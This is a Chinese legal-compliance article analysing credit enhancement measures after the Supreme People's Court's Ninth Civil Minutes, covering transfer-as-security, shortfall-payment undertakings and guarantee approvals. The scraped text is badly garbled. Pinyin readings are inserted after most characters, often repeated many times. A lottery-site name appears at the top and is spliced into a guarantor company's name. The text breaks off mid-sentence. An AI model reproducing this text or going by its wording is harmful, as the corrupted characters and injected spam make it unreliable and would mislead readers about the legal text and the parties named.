ag8彩票登录

《九民纪要》后再看增信措施

发布时间:2020-05-31 点击量:188 作者:法务合规部——吕寒

增信措施,简单讲即信用增进方式,由债务人或第三人向债权人提供,给予债权人额外的保障,降低违约风险,在现代信贷业务中几乎成了交易结构中的常态性安排。增信措施的实现,鲜少有提供者自愿履约,大都需要经过国家有权机关(司法机关、仲裁机关)裁决。这些裁决,能够对当初选择、审查的增信措施进行检验,又反过来对其形成一定的经验指导。

2019年11月(yue)14日,最高院(yuan)发布《全国法院(yuan)民商事审判(pan)工作会(hui)议纪要》(以下简(jian)称《九民纪要》),对公(gong)司、合同、担保、金融、破产等民商事案件审理(li)中存在(zai)前沿、疑难(nan)争议问题进行(xing)了裁判(pan)思(si)路的(de)统(tong)一,特别是使得(de)有(you)(you)法官自由裁量(liang)空间的(de)那些审判(pan)具有(you)(you)可预期性(xing)。鉴于此,本文旨在(zai)同大(da)家分享《九民纪要》中几点增(zeng)信措施的(de)内容,以期为选择(ze)、审查增(zeng)信措施提供一定的(de)参考之用。


一、让(rang)与担保或成为增信(xin)措施较优之(zhi)选

【纪要内容】

《九民纪(ji)要(yao)》第71条【让与担保】

债(zhai)务(wu)(wu)(wu)(wu)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)或者(zhe)第三人(ren)(ren)(ren)(ren)(ren)(ren)(ren)与(yu)债(zhai)权(quan)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)订立合同(tong)(tong)(tong),约(yue)定将财(cai)产形式上转(zhuan)让(rang)至(zhi)债(zhai)权(quan)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)名下,债(zhai)务(wu)(wu)(wu)(wu)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)到期清(qing)偿债(zhai)务(wu)(wu)(wu)(wu),债(zhai)权(quan)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)将该(gai)财(cai)产返还(hai)给(ji)债(zhai)务(wu)(wu)(wu)(wu)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)或第三人(ren)(ren)(ren)(ren)(ren)(ren)(ren),债(zhai)务(wu)(wu)(wu)(wu)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)到期没有(you)清(qing)偿债(zhai)务(wu)(wu)(wu)(wu),债(zhai)权(quan)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)可以对财(cai)产拍卖(mai)、变卖(mai)、折价偿还(hai)债(zhai)权(quan)的(de)(de),人(ren)(ren)(ren)(ren)(ren)(ren)(ren)民(min)法(fa)院应当(dang)认定合同(tong)(tong)(tong)有(you)效。合同(tong)(tong)(tong)如(ru)果(guo)约(yue)定债(zhai)务(wu)(wu)(wu)(wu)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)到期没有(you)清(qing)偿债(zhai)务(wu)(wu)(wu)(wu),财(cai)产归(gui)债(zhai)权(quan)人(ren)(ren)(ren)(ren)(ren)(ren)(ren)所有(you)的(de)(de),人(ren)(ren)(ren)(ren)(ren)(ren)(ren)民(min)法(fa)院应当(dang)认定该(gai)部(bu)分约(yue)定无效,但不影响合同(tong)(tong)(tong)其他部(bu)分的(de)(de)效力。

当事人(ren)(ren)根据上(shang)述合同约(yue)定,已经完成(cheng)财(cai)(cai)产(chan)权(quan)(quan)利变动的公示(shi)方式转(zhuan)让至债权(quan)(quan)人(ren)(ren)名下(xia),债务(wu)(wu)人(ren)(ren)到(dao)期没有清(qing)偿(chang)债务(wu)(wu),债权(quan)(quan)人(ren)(ren)请求确认财(cai)(cai)产(chan)归其所有的,人(ren)(ren)民(min)法(fa)(fa)院(yuan)不予支(zhi)持,但债权(quan)(quan)人(ren)(ren)请求参照法(fa)(fa)律关于(yu)担保物权(quan)(quan)的规定对财(cai)(cai)产(chan)拍卖(mai)、变卖(mai)、折价优先(xian)偿(chang)还(hai)其债权(quan)(quan)的,人(ren)(ren)民(min)法(fa)(fa)院(yuan)依法(fa)(fa)予以支(zhi)持。债务(wu)(wu)人(ren)(ren)因到(dao)期没有清(qing)偿(chang)债务(wu)(wu),请求对该财(cai)(cai)产(chan)拍卖(mai)、变卖(mai)、折价偿(chang)还(hai)所欠债权(quan)(quan)人(ren)(ren)合同项(xiang)下(xia)债务(wu)(wu)的,人(ren)(ren)民(min)法(fa)(fa)院(yuan)亦(yi)应依法(fa)(fa)予以支(zhi)持。

【分析解读】

让(rang)与(yu)担(dan)保(bao)(bao),是指债(zhai)务(wu)人或(huo)者(zhe)第三(san)人为(wei)担(dan)保(bao)(bao)债(zhai)务(wu)人的(de)(de)债(zhai)务(wu),将担(dan)保(bao)(bao)标(biao)的(de)(de)物的(de)(de)权(quan)利转移(yi)于(yu)债(zhai)权(quan)人,若(ruo)(ruo)债(zhai)务(wu)清偿,标(biao)的(de)(de)物应返还于(yu)债(zhai)务(wu)人或(huo)者(zhe)第三(san)人;若(ruo)(ruo)债(zhai)务(wu)未(wei)履行,担(dan)保(bao)(bao)权(quan)人可就(jiu)该标(biao)的(de)(de)物受偿的(de)(de)一(yi)种(zhong)非典型(xing)担(dan)保(bao)(bao)方式。

由于让与(yu)担(dan)(dan)(dan)(dan)保(bao)是由当事人通过合同创(chuang)设的(de)(de)(de)(de)担(dan)(dan)(dan)(dan)保(bao)物(wu)(wu)权(quan)(quan),法律对其没有明(ming)确的(de)(de)(de)(de)规定,各法院(yuan)对让与(yu)担(dan)(dan)(dan)(dan)保(bao)案件(jian)的(de)(de)(de)(de)裁(cai)判意见并不统(tong)一(yi)(yi),争论焦(jiao)点集中围(wei)(wei)绕在(zai)让与(yu)担(dan)(dan)(dan)(dan)保(bao)是否具有物(wu)(wu)权(quan)(quan)效(xiao)力(li)之上,直至最(zui)(zui)高院(yuan)审理的(de)(de)(de)(de)(2018)最(zui)(zui)高法民(min)终119号(hao)(hao)、(2019)最(zui)(zui)高法民(min)终133号(hao)(hao)案件(jian)的(de)(de)(de)(de)出现,倾向于认可让与(yu)担(dan)(dan)(dan)(dan)保(bao)物(wu)(wu)权(quan)(quan)效(xiao)力(li)的(de)(de)(de)(de)裁(cai)判思(si)路逐(zhu)渐显现。最(zui)(zui)终《九民(min)纪要》的(de)(de)(de)(de)出台,明(ming)确了(le)法院(yuan)认可的(de)(de)(de)(de)让与(yu)担(dan)(dan)(dan)(dan)保(bao)的(de)(de)(de)(de)特征,在(zai)肯定让与(yu)担(dan)(dan)(dan)(dan)保(bao)合同效(xiao)力(li)的(de)(de)(de)(de)同时,进(jin)一(yi)(yi)步(bu)肯定让与(yu)担(dan)(dan)(dan)(dan)保(bao)可以优先(xian)受偿(chang),这也使(shi)得让与(yu)担(dan)(dan)(dan)(dan)保(bao)的(de)(de)(de)(de)适用范(fan)围(wei)(wei)呈逐(zhu)步(bu)扩大之势。

结合(he)《九民纪(ji)要》的(de)规定(ding),在(zai)选(xuan)择让与担保这一(yi)增(zeng)信措施(shi)时需从(cong)以下几个方面把(ba)握(wo):

1、对于仅有合(he)同(tong)的约定,并无(wu)实(shi)(shi)际(ji)的财(cai)产(chan)(chan)转让(rang)行为(wei),即《九民纪要》第(di)71条第(di)1款,法(fa)院认可(ke)(ke)合(he)同(tong)有效,若债(zhai)务(wu)(wu)人(ren)到期没(mei)有清偿(chang)债(zhai)务(wu)(wu),债(zhai)权(quan)人(ren)可(ke)(ke)以对财(cai)产(chan)(chan)拍(pai)卖(mai)(mai)、变卖(mai)(mai)、折(zhe)价偿(chang)还债(zhai)权(quan),但(dan)此条并没(mei)有规定债(zhai)权(quan)人(ren)可(ke)(ke)以就财(cai)产(chan)(chan)拍(pai)卖(mai)(mai)、变卖(mai)(mai)、折(zhe)价优先受偿(chang),此时(shi)的债(zhai)权(quan)人(ren)同(tong)其他一(yi)般债(zhai)权(quan)人(ren)并无(wu)差别,对债(zhai)权(quan)的实(shi)(shi)现处于同(tong)一(yi)顺(shun)位;

2、对于(yu)已(yi)(yi)经将(jiang)财(cai)产实际转让(rang)于(yu)债权(quan)(quan)(quan)(quan)(quan)人名下的(de)(de)(de)让(rang)与担保(bao),即第(di)(di)(di)71条(tiao)第(di)(di)(di)2款,债务(wu)人到期没有(you)清偿(chang)债务(wu),债权(quan)(quan)(quan)(quan)(quan)人请(qing)求参照法(fa)律关于(yu)担保(bao)物(wu)(wu)(wu)权(quan)(quan)(quan)(quan)(quan)的(de)(de)(de)规(gui)定(ding)对财(cai)产拍(pai)卖、变卖、折价优(you)(you)先(xian)偿(chang)还其债权(quan)(quan)(quan)(quan)(quan)的(de)(de)(de),人民(min)法(fa)院(yuan)依法(fa)予以支持(chi)。法(fa)定(ding)担保(bao)物(wu)(wu)(wu)权(quan)(quan)(quan)(quan)(quan)(如抵(di)押权(quan)(quan)(quan)(quan)(quan))的(de)(de)(de)效(xiao)力,简单而言,因登记(ji)而公(gong)示,对抗第(di)(di)(di)三人,从而享(xiang)(xiang)有(you)优(you)(you)先(xian)受偿(chang)权(quan)(quan)(quan)(quan)(quan)。让(rang)与担保(bao)关系(xi)中的(de)(de)(de)财(cai)产所(suo)有(you)权(quan)(quan)(quan)(quan)(quan)已(yi)(yi)通过(guo)公(gong)示方式转让(rang)至债权(quan)(quan)(quan)(quan)(quan)人名下,即外观上(shang)已(yi)(yi)经具备对抗第(di)(di)(di)三人的(de)(de)(de)物(wu)(wu)(wu)权(quan)(quan)(quan)(quan)(quan)效(xiao)力,故人民(min)法(fa)院(yuan)认可债权(quan)(quan)(quan)(quan)(quan)人可以就担保(bao)物(wu)(wu)(wu)优(you)(you)先(xian)受偿(chang)。此情形下,债权(quan)(quan)(quan)(quan)(quan)人对担保(bao)物(wu)(wu)(wu)享(xiang)(xiang)有(you)的(de)(de)(de)并(bing)不是物(wu)(wu)(wu)权(quan)(quan)(quan)(quan)(quan),而是对担保(bao)物(wu)(wu)(wu)依法(fa)处置(zhi)所(suo)得(de)的(de)(de)(de)优(you)(you)先(xian)受偿(chang)权(quan)(quan)(quan)(quan)(quan)。

3、无论有(you)无实际财产(chan)转让行(xing)为,若债(zhai)(zhai)务(wu)(wu)人到期(qi)没有(you)清偿债(zhai)(zhai)务(wu)(wu),法(fa)院对债(zhai)(zhai)权人请求(qiu)财产(chan)直接归其(qi)所有(you)的诉求(qiu)都不会予(yu)以(yi)(yi)支持。这里可以(yi)(yi)参照(zhao)“流质、流押(ya)(ya)”条(tiao)款(kuan)规(gui)定理解,物权法(fa)第186、211条(tiao)禁(jin)止(zhi)抵押(ya)(ya)权人、质权人在债(zhai)(zhai)务(wu)(wu)履行(xing)期(qi)限届满前与抵押(ya)(ya)人约定债(zhai)(zhai)务(wu)(wu)人不履行(xing)债(zhai)(zhai)务(wu)(wu)时抵押(ya)(ya)财产(chan)、质押(ya)(ya)财产(chan)归债(zhai)(zhai)权人所有(you)。法(fa)律禁(jin)止(zhi)“流押(ya)(ya)、流质”的目的是(shi)为了保(bao)护债(zhai)(zhai)务(wu)(wu)人,避(bi)免其(qi)因一(yi)时的急迫而受制于债(zhai)(zhai)权人,担保(bao)物价值不能公允体现。

综上,不考虑(lv)其他因素,就(jiu)保障力度(du)而言,较之(zhi)以前(qian)的“王者”-抵押,《九(jiu)民纪要(yao)》认可的让(rang)与(yu)担保方(fang)式(shi)或(huo)成为债权(quan)人较优之(zhi)选,毕(bi)竟财产(chan)已登记(ji)在自己名下(xia),没有比这(zhei)还能让(rang)人安心的了。


二、差额补足或认定为保证(zheng)

【纪要内容】

《九(jiu)民(min)纪要》第91条【增(zeng)信文(wen)件(jian)的(de)性质】

信托合(he)(he)同之外的(de)当事(shi)(shi)人(ren)(ren)提供第三方(fang)差额补足、代为履(lv)行到期(qi)回购义(yi)务、流动性支持等类似(si)承诺文件(jian)作为增信措(cuo)施,其内(nei)(nei)容符(fu)合(he)(he)法律关于(yu)保证(zheng)的(de)规(gui)定(ding)的(de),人(ren)(ren)民法院应当认定(ding)当事(shi)(shi)人(ren)(ren)之间成(cheng)立保证(zheng)合(he)(he)同关系(xi)。其内(nei)(nei)容不符(fu)合(he)(he)法律关于(yu)保证(zheng)的(de)规(gui)定(ding)的(de),依据(ju)承诺文件(jian)的(de)具体(ti)内(nei)(nei)容确定(ding)相应的(de)权利义(yi)务关系(xi),并(bing)根据(ju)案(an)件(jian)事(shi)(shi)实情况确定(ding)相应的(de)民事(shi)(shi)责任。

第(di)90条【劣后(hou)级受益人的责任承(cheng)担(dan)】

信托文件及相关合同将受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)区分为优(you)(you)先级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)和(he)劣后(hou)级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)等不同类别,约(yue)定(ding)优(you)(you)先级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)以其(qi)财产认购信托计(ji)划(hua)份额(e),在(zai)信托到期后(hou),劣后(hou)级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)负有(you)对(dui)优(you)(you)先级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)从(cong)信托财产获得利(li)益(yi)(yi)(yi)与其(qi)投资本(ben)金及约(yue)定(ding)收(shou)益(yi)(yi)(yi)之间(jian)的(de)差额(e)承(cheng)(cheng)担补足(zu)义(yi)务,优(you)(you)先级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)请求劣后(hou)级受(shou)(shou)益(yi)(yi)(yi)人(ren)(ren)(ren)按照约(yue)定(ding)承(cheng)(cheng)担责任(ren)的(de),人(ren)(ren)(ren)民法(fa)院依法(fa)予(yu)以支(zhi)持。

 【分析解读】

《九(jiu)民纪要》第91条(tiao)中的(de)差额(e)补(bu)足、代(dai)为履行到期回购(gou)义(yi)务(wu)、流动(dong)性支(zhi)持等增(zeng)信(xin)措(cuo)(cuo)施,都属(shu)于(yu)(yu)非典型担保(bao)(bao),作为传(chuan)统担保(bao)(bao)措(cuo)(cuo)施的(de)补(bu)充,应用于(yu)(yu)各种金融交易结构。根(gen)据该条(tiao)的(de)规(gui)(gui)定,无论这(zhei)些(xie)(xie)增(zeng)信(xin)措(cuo)(cuo)施称(cheng)之为什(shen)么,如果内容(rong)符合法律(lv)关于(yu)(yu)保(bao)(bao)证(zheng)的(de)规(gui)(gui)定,都会认定为保(bao)(bao)证(zheng),反之,则承(cheng)认其独(du)立性,义(yi)务(wu)人根(gen)据实(shi)际承(cheng)诺的(de)内容(rong)承(cheng)担相(xiang)应责任。那么,在选择(ze)适用这(zhei)些(xie)(xie)增(zeng)信(xin)措(cuo)(cuo)施时应注意将其与保(bao)(bao)证(zheng)进行区分(fen)。

还是(shi)(shi)从法(fa)律本身出发,《担(dan)保法(fa)》第6条(tiao)规定“保证,是(shi)(shi)指保证人(ren)(ren)和(he)债权(quan)人(ren)(ren)约(yue)定,当债务(wu)(wu)人(ren)(ren)不(bu)履(lv)行(xing)债务(wu)(wu)时,保证人(ren)(ren)按照约(yue)定履(lv)行(xing)债务(wu)(wu)或者(zhe)承(cheng)担(dan)责任(ren)的(de)行(xing)为。“保证具(ju)有(you)(you)从属性(xing),保证的(de)前提是(shi)(shi)存在主债权(quan)债务(wu)(wu)关(guan)系(xi),债务(wu)(wu)人(ren)(ren)对(dui)债权(quan)人(ren)(ren)有(you)(you)明确(que)的(de)支付义务(wu)(wu),所以,“独(du)立承(cheng)诺(nuo)”的(de)内容若符合(he)法(fa)律关(guan)于保证的(de)规定,是(shi)(shi)为具(ju)有(you)(you)确(que)定支付义务(wu)(wu)的(de)主债权(quan)提供增信,那(nei)这种(zhong)“独(du)立承(cheng)诺(nuo)”实(shi)际上即为保证。

以(yi)项(xiang)目收益(yi)(yi)债(zhai)(zhai)(zhai)(zhai)为例,项(xiang)目收益(yi)(yi)债(zhai)(zhai)(zhai)(zhai),是以(yi)项(xiang)目建成后(hou)运营收益(yi)(yi)作(zuo)为主要偿(chang)债(zhai)(zhai)(zhai)(zhai)来源的(de)(de)一(yi)种企业债(zhai)(zhai)(zhai)(zhai)券(quan),该(gai)类(lei)债(zhai)(zhai)(zhai)(zhai)券(quan)的(de)(de)创新性在于(yu)将(jiang)差(cha)(cha)(cha)额(e)(e)补偿(chang)作(zuo)为债(zhai)(zhai)(zhai)(zhai)券(quan)必备的(de)(de)增信(xin)措施。具(ju)体(ti)看“16宁棚改项(xiang)目债(zhai)(zhai)(zhai)(zhai)01”,由(you)湖北省融资ag8彩票登录有(you)限(xian)责任(ren)(ren)公(gong)司和重庆进(jin)出(chu)口信(xin)用担(dan)保有(you)限(xian)公(gong)司联合提供差(cha)(cha)(cha)额(e)(e)补偿(chang),各自同意承担(dan)该(gai)债(zhai)(zhai)(zhai)(zhai)券(quan)差(cha)(cha)(cha)额(e)(e)补偿(chang)人50%的(de)(de)比例,即债(zhai)(zhai)(zhai)(zhai)券(quan)存续期(qi)(qi)内每(mei)期(qi)(qi)债(zhai)(zhai)(zhai)(zhai)券(quan)偿(chang)债(zhai)(zhai)(zhai)(zhai)资金专户(hu)内余额(e)(e)不(bu)足以(yi)支付本期(qi)(qi)债(zhai)(zhai)(zhai)(zhai)券(quan)当期(qi)(qi)本息时,差(cha)(cha)(cha)额(e)(e)补偿(chang)人保证无条件按偿(chang)债(zhai)(zhai)(zhai)(zhai)资金专户(hu)余额(e)(e)与每(mei)期(qi)(qi)应付本期(qi)(qi)债(zhai)(zhai)(zhai)(zhai)券(quan)本息差(cha)(cha)(cha)额(e)(e)部(bu)分的(de)(de)50%承担(dan)差(cha)(cha)(cha)额(e)(e)补偿(chang)责任(ren)(ren)。

对照(zhao)法律有(you)关保(bao)(bao)证(zheng)的规定(ding)(ding),项目收益(yi)债(zhai)中的债(zhai)券(quan)发(fa)行(xing)人为债(zhai)务人,债(zhai)券(quan)持有(you)者为债(zhai)权人,发(fa)行(xing)人有(you)确定(ding)(ding)的支付(fu)义务,即(ji)按约定(ding)(ding)向债(zhai)券(quan)持有(you)人支付(fu)债(zhai)券(quan)本息,当发(fa)行(xing)人无法按时支付(fu)债(zhai)券(quan)本息,即(ji)债(zhai)券(quan)偿(chang)债(zhai)资金专户(hu)内余(yu)额不足以支付(fu)本息时,差额补偿(chang)人应(ying)(ying)承(cheng)(cheng)担相应(ying)(ying)责任(ren)。结合《九民纪要》第91条定(ding)(ding),这里的差额补偿(chang)应(ying)(ying)被认定(ding)(ding)为保(bao)(bao)证(zheng),差额补偿(chang)责任(ren)实质上是(shi)对债(zhai)权人承(cheng)(cheng)担债(zhai)务到期(qi)后的保(bao)(bao)证(zheng)责任(ren)。

再以资(zi)产证(zheng)(zheng)券化产品为(wei)(wei)(wei)例(li),比方以风(feng)景区的(de)(de)(de)(de)门票收(shou)入(ru)为(wei)(wei)(wei)基(ji)础资(zi)产设计(ji)产品发行专项(xiang)(xiang)计(ji)划,景区门票收(shou)入(ru)形(xing)成(cheng)的(de)(de)(de)(de)现(xian)金(jin)流可多(duo)可少,基(ji)础资(zi)产到底(di)产生(sheng)多(duo)少收(shou)费是不确定(ding)的(de)(de)(de)(de),基(ji)础资(zi)产的(de)(de)(de)(de)债务(wu)(wu)人(ren)不存在(zai)(zai)确定(ding)的(de)(de)(de)(de)支(zhi)付义(yi)务(wu)(wu),甚至在(zai)(zai)此(ci)收(shou)费权项(xiang)(xiang)目中(zhong)不存在(zai)(zai)明(ming)确的(de)(de)(de)(de)债务(wu)(wu)人(ren)。如(ru)该(gai)景区门票收(shou)益权ABS中(zhong)的(de)(de)(de)(de)原始(shi)(shi)受益人(ren)预为(wei)(wei)(wei)该(gai)专项(xiang)(xiang)计(ji)划的(de)(de)(de)(de)回款提(ti)供(gong)(gong)增信(xin),也只能(neng)是提(ti)供(gong)(gong)差(cha)(cha)额(e)补偿,无法(fa)提(ti)供(gong)(gong)保(bao)(bao)证(zheng)(zheng);这里的(de)(de)(de)(de)差(cha)(cha)额(e)补偿义(yi)务(wu)(wu)属于明(ming)确的(de)(de)(de)(de)支(zhi)付义(yi)务(wu)(wu),若(ruo)还想(xiang)为(wei)(wei)(wei)此(ci)专项(xiang)(xiang)计(ji)划进一步提(ti)供(gong)(gong)增信(xin),可选择对(dui)原始(shi)(shi)权益人(ren)的(de)(de)(de)(de)差(cha)(cha)额(e)补偿义(yi)务(wu)(wu)提(ti)供(gong)(gong)连(lian)带责任保(bao)(bao)证(zheng)(zheng)或其(qi)他增信(xin)措(cuo)施(shi)(shi)。具体(ti)看“华侨城(cheng)欢(huan)乐(le)谷(gu)ABS”,该(gai)专项(xiang)(xiang)计(ji)划增信(xin)措(cuo)施(shi)(shi)设计(ji)差(cha)(cha)额(e)支(zhi)付承(cheng)诺、保(bao)(bao)证(zheng)(zheng)等,华侨城(cheng)集团(tuan)作为(wei)(wei)(wei)保(bao)(bao)证(zheng)(zheng)人(ren),对(dui)原始(shi)(shi)权益人(ren)的(de)(de)(de)(de)差(cha)(cha)额(e)支(zhi)付承(cheng)诺提(ti)供(gong)(gong)不可撤销的(de)(de)(de)(de)连(lian)带责任保(bao)(bao)证(zheng)(zheng)担保(bao)(bao),而(er)不能(neng)直接(jie)对(dui)此(ci)专项(xiang)(xiang)计(ji)划提(ti)供(gong)(gong)保(bao)(bao)证(zheng)(zheng)。

《九民纪要(yao)》第90条的(de)(de)规定(ding),同(tong)样反映出差额(e)(e)补足和保(bao)(bao)证(zheng)的(de)(de)认定(ding)思路。优(you)(you)先(xian)和劣(lie)后是资(zi)产证(zheng)券化(hua)(hua)产品(pin)中常用的(de)(de)内部增信(xin)方式,用结构化(hua)(hua)安(an)排来(lai)增级(ji)。由(you)(you)于(yu)禁(jin)止刚性(xing)兑付(fu),资(zi)产证(zheng)券化(hua)(hua)产品(pin)不(bu)会向(xiang)优(you)(you)先(xian)级(ji)受(shou)(shou)(shou)益(yi)(yi)人(ren)(ren)分配固定(ding)收益(yi)(yi),因此优(you)(you)先(xian)级(ji)受(shou)(shou)(shou)益(yi)(yi)人(ren)(ren)的(de)(de)权(quan)益(yi)(yi)可(ke)以由(you)(you)劣(lie)后级(ji)受(shou)(shou)(shou)益(yi)(yi)人(ren)(ren)的(de)(de)差额(e)(e)补足承诺来(lai)保(bao)(bao)障和实现(xian),而不(bu)能由(you)(you)劣(lie)后受(shou)(shou)(shou)益(yi)(yi)人(ren)(ren)提供(gong)保(bao)(bao)证(zheng)。

综上(shang)所述,选择差额(e)补足(zu)、代为履行到期(qi)回(hui)购义务等类(lei)似承诺文(wen)件作为增信措(cuo)施(shi),以回(hui)避保证,不管出于(yu)何种(zhong)目(mu)的,亦不能仅凭改(gai)变字眼(yan),仍需把握增信措(cuo)施(shi)的实质。

 

三、对外担保(bao)必(bi)须审查内部决议,章程或仍(reng)涉及实(shi)质审

【纪要内容】

《九(jiu)民纪要(yao)》第(di)17条【违反《公司(si)法(fa)》第(di)16条构(gou)成越权代表】

为(wei)防止法(fa)定代(dai)(dai)表(biao)人(ren)(ren)随意代(dai)(dai)表(biao)公(gong)司(si)为(wei)他(ta)人(ren)(ren)提供担保给公(gong)司(si)造(zao)成损(sun)(sun)失,损(sun)(sun)害中小股(gu)(gu)东(dong)利(li)益,《公(gong)司(si)法(fa)》第16条(tiao)对法(fa)定代(dai)(dai)表(biao)人(ren)(ren)的(de)代(dai)(dai)表(biao)权(quan)进行(xing)了限(xian)制。根(gen)据该条(tiao)规定,担保行(xing)为(wei)不(bu)是法(fa)定代(dai)(dai)表(biao)人(ren)(ren)所能(neng)单独决定的(de)事(shi)项,而必(bi)须以公(gong)司(si)股(gu)(gu)东(dong)(大)会、董(dong)事(shi)会等公(gong)司(si)机关的(de)决议作为(wei)授权(quan)的(de)基础和来源(yuan)。法(fa)定代(dai)(dai)表(biao)人(ren)(ren)未经授权(quan)擅自(zi)为(wei)他(ta)人(ren)(ren)提供担保的(de),构成越权(quan)代(dai)(dai)表(biao),人(ren)(ren)民法(fa)院(yuan)应当根(gen)据《合(he)同(tong)法(fa)》第50条(tiao)关于法(fa)定代(dai)(dai)表(biao)人(ren)(ren)越权(quan)代(dai)(dai)表(biao)的(de)规定,区(qu)分订立合(he)同(tong)时(shi)债权(quan)人(ren)(ren)是否善意分别认(ren)定合(he)同(tong)效(xiao)力(li):债权(quan)人(ren)(ren)善意的(de),合(he)同(tong)有效(xiao);反之,合(he)同(tong)无效(xiao)。

 【分析(xi)解读(du)】

违反《公(gong)(gong)司(si)(si)法(fa)》第16条(tiao)(tiao)(tiao),未经公(gong)(gong)司(si)(si)内部(bu)决(jue)(jue)议(yi)对外提供的(de)(de)(de)担(dan)保是(shi)否(fou)有效(xiao),司(si)(si)法(fa)实(shi)践(jian)中(zhong)意见不(bu)一,主(zhu)要有以(yi)下几种观(guan)点:1.《公(gong)(gong)司(si)(si)法(fa)》第16条(tiao)(tiao)(tiao)是(shi)公(gong)(gong)司(si)(si)内部(bu)管(guan)理规(gui)范,债权人没有义务审(shen)查(cha)其内部(bu)决(jue)(jue)议(yi),公(gong)(gong)司(si)(si)应(ying)根(gen)据担(dan)保合(he)同承(cheng)(cheng)担(dan)担(dan)保责任(ren)(ren);2.《公(gong)(gong)司(si)(si)法(fa)》第16条(tiao)(tiao)(tiao)是(shi)效(xiao)力(li)(li)性(xing)强制(zhi)规(gui)定(ding),债权人有审(shen)查(cha)公(gong)(gong)司(si)(si)内部(bu)决(jue)(jue)议(yi)的(de)(de)(de)义务,否(fou)则公(gong)(gong)司(si)(si)不(bu)应(ying)承(cheng)(cheng)担(dan)担(dan)保责任(ren)(ren);3.《公(gong)(gong)司(si)(si)法(fa)》第16条(tiao)(tiao)(tiao)只是(shi)管(guan)理性(xing)强制(zhi)规(gui)定(ding),违反该规(gui)定(ding)不(bu)影(ying)响担(dan)保合(he)同效(xiao)力(li)(li);4.法(fa)人是(shi)公(gong)(gong)司(si)(si)的(de)(de)(de)机关,法(fa)人的(de)(de)(de)意思(si)对外代表公(gong)(gong)司(si)(si)的(de)(de)(de)意思(si),不(bu)能(neng)仅凭《公(gong)(gong)司(si)(si)法(fa)》第16条(tiao)(tiao)(tiao),还需结合(he)《合(he)同法(fa)》的(de)(de)(de)规(gui)定(ding)来(lai)认定(ding)。

《九民纪(ji)要》的(de)出台,终于结束了(le)上述由来已久(jiu)的(de)争论,明确(que)规定公(gong)司(si)对(dui)外(wai)担(dan)保(bao)必须有其内部(bu)决议,要求债权(quan)人在接受公(gong)司(si)担(dan)保(bao)时(shi),应对(dui)公(gong)司(si)对(dui)外(wai)担(dan)保(bao)的(de)内部(bu)决议进行审查(cha)。那么债权(quan)人究竟须尽怎样的(de)审查(cha)义(yi)务(wu)呢?

 【纪要内容】

《九(jiu)民纪要》第(di)18条【善意的(de)认定】

前条(tiao)所称的(de)(de)善(shan)意(yi),是(shi)(shi)指债(zhai)(zhai)权(quan)(quan)(quan)人(ren)(ren)(ren)不知道或者(zhe)(zhe)(zhe)不应(ying)当知道法(fa)(fa)(fa)定(ding)(ding)(ding)代(dai)(dai)表(biao)人(ren)(ren)(ren)超越(yue)权(quan)(quan)(quan)限订(ding)立担(dan)(dan)(dan)(dan)保(bao)(bao)(bao)合(he)同(tong)。《公(gong)司(si)(si)(si)法(fa)(fa)(fa)》第(di)(di)16条(tiao)对(dui)关(guan)联(lian)担(dan)(dan)(dan)(dan)保(bao)(bao)(bao)和非(fei)关(guan)联(lian)担(dan)(dan)(dan)(dan)保(bao)(bao)(bao)的(de)(de)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)机(ji)关(guan)作(zuo)出了(le)区别(bie)规(gui)(gui)定(ding)(ding)(ding),相应(ying)地,在善(shan)意(yi)的(de)(de)判断标准上也(ye)应(ying)当有所区别(bie)。一种情(qing)形(xing)是(shi)(shi),为(wei)公(gong)司(si)(si)(si)股(gu)东(dong)或者(zhe)(zhe)(zhe)实(shi)际控制(zhi)(zhi)人(ren)(ren)(ren)提(ti)供(gong)(gong)关(guan)联(lian)担(dan)(dan)(dan)(dan)保(bao)(bao)(bao),《公(gong)司(si)(si)(si)法(fa)(fa)(fa)》第(di)(di)16条(tiao)明(ming)确(que)(que)规(gui)(gui)定(ding)(ding)(ding)必(bi)须由(you)(you)股(gu)东(dong)(大(da))会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi),未经(jing)股(gu)东(dong)(大(da))会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi),构成越(yue)权(quan)(quan)(quan)代(dai)(dai)表(biao)。在此(ci)情(qing)况(kuang)(kuang)下,债(zhai)(zhai)权(quan)(quan)(quan)人(ren)(ren)(ren)主张担(dan)(dan)(dan)(dan)保(bao)(bao)(bao)合(he)同(tong)有效,应(ying)当提(ti)供(gong)(gong)证(zheng)据证(zheng)明(ming)其在订(ding)立合(he)同(tong)时对(dui)股(gu)东(dong)(大(da))会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)进行了(le)审查(cha),决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)的(de)(de)表(biao)决(jue)(jue)(jue)(jue)(jue)程(cheng)序符(fu)合(he)《公(gong)司(si)(si)(si)法(fa)(fa)(fa)》第(di)(di)16条(tiao)的(de)(de)规(gui)(gui)定(ding)(ding)(ding),即在排除(chu)被担(dan)(dan)(dan)(dan)保(bao)(bao)(bao)股(gu)东(dong)表(biao)决(jue)(jue)(jue)(jue)(jue)权(quan)(quan)(quan)的(de)(de)情(qing)况(kuang)(kuang)下,该项表(biao)决(jue)(jue)(jue)(jue)(jue)由(you)(you)出席(xi)会(hui)(hui)(hui)(hui)议(yi)(yi)的(de)(de)其他股(gu)东(dong)所持表(biao)决(jue)(jue)(jue)(jue)(jue)权(quan)(quan)(quan)的(de)(de)过半数通过,签字(zi)人(ren)(ren)(ren)员也(ye)符(fu)合(he)公(gong)司(si)